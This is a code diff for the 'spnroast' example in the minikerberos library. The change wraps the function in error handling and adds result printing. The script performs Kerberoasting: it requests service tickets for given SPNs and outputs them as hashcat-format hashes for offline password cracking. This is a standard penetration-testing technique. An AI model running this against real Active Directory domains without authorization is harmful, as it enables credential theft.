|
6 | 6 |
|
7 | 7 | import logging |
8 | 8 | import asyncio |
| 9 | +import traceback |
9 | 10 | from minikerberos.common.url import KerberosClientURL, kerberos_url_help_epilog |
10 | 11 | from minikerberos.common.spn import KerberosSPN |
11 | 12 | from minikerberos.aioclient import AIOKerberosClient |
|
16 | 17 |
|
17 | 18 | async def spnroast(connection_url, spn, realm, out_file): |
18 | 19 | try: |
19 | | - with open(spn, 'r') as f: |
20 | | - pass |
21 | | - spns = KerberosSPN.from_file(spn, override_realm=realm) |
22 | | - except: |
23 | | - spns = [KerberosSPN.from_spn(spn, override_realm=realm)] |
24 | | - |
25 | | - cu = KerberosClientURL.from_url(connection_url) |
26 | | - ccred = cu.get_creds() |
27 | | - target = cu.get_target() |
28 | | - |
29 | | - |
30 | | - results = [] |
31 | | - for spn in spns: |
32 | 20 | try: |
33 | | - client = AIOKerberosClient(ccred, target) |
34 | | - if client.usercreds.nopreauth is True: |
35 | | - await client.get_TGT(override_sname=spn) |
36 | | - tgshash = TGSTicket2hashcat(client.kerberos_TGT) |
37 | | - else: |
38 | | - await client.get_TGT() |
39 | | - tgs, _, _ = await client.get_TGS(spn) |
40 | | - tgshash = TGSTicket2hashcat(tgs) |
41 | | - |
42 | | - if out_file is None: |
43 | | - print(tgshash) |
44 | | - results.append(tgshash) |
45 | | - except Exception as e: |
46 | | - spnroastlogger.debug('Failed roasting %s Reason: %s' % (spn, str(e))) |
| 21 | + with open(spn, 'r') as f: |
| 22 | + pass |
| 23 | + spns = KerberosSPN.from_file(spn, override_realm=realm) |
| 24 | + except: |
| 25 | + spns = [KerberosSPN.from_spn(spn, override_realm=realm)] |
| 26 | + |
| 27 | + cu = KerberosClientURL.from_url(connection_url) |
| 28 | + ccred = cu.get_creds() |
| 29 | + target = cu.get_target() |
| 30 | + |
47 | 31 |
|
48 | | - if out_file is not None: |
49 | | - with open(out_file, 'w', newline='') as f: |
50 | | - for result in results: |
51 | | - f.write(result + '\r\n') |
| 32 | + results = [] |
| 33 | + for spn in spns: |
| 34 | + try: |
| 35 | + client = AIOKerberosClient(ccred, target) |
| 36 | + if client.usercreds.nopreauth is True: |
| 37 | + await client.get_TGT(override_sname=spn) |
| 38 | + tgshash = TGSTicket2hashcat(client.kerberos_TGT) |
| 39 | + else: |
| 40 | + await client.get_TGT() |
| 41 | + tgs, _, _ = await client.get_TGS(spn) |
| 42 | + tgshash = TGSTicket2hashcat(tgs) |
| 43 | + |
| 44 | + if out_file is None: |
| 45 | + print(tgshash) |
| 46 | + results.append(tgshash) |
| 47 | + except Exception as e: |
| 48 | + spnroastlogger.debug('Failed roasting %s Reason: %s' % (spn, str(e))) |
52 | 49 |
|
53 | | - return results |
| 50 | + if out_file is not None: |
| 51 | + with open(out_file, 'w', newline='') as f: |
| 52 | + for result in results: |
| 53 | + f.write(result + '\r\n') |
| 54 | + print(results) |
| 55 | + return results |
| 56 | + except: |
| 57 | + traceback.print_exc() |
54 | 58 |
|
55 | 59 |
|
56 | 60 | async def amain(): |
|
0 commit comments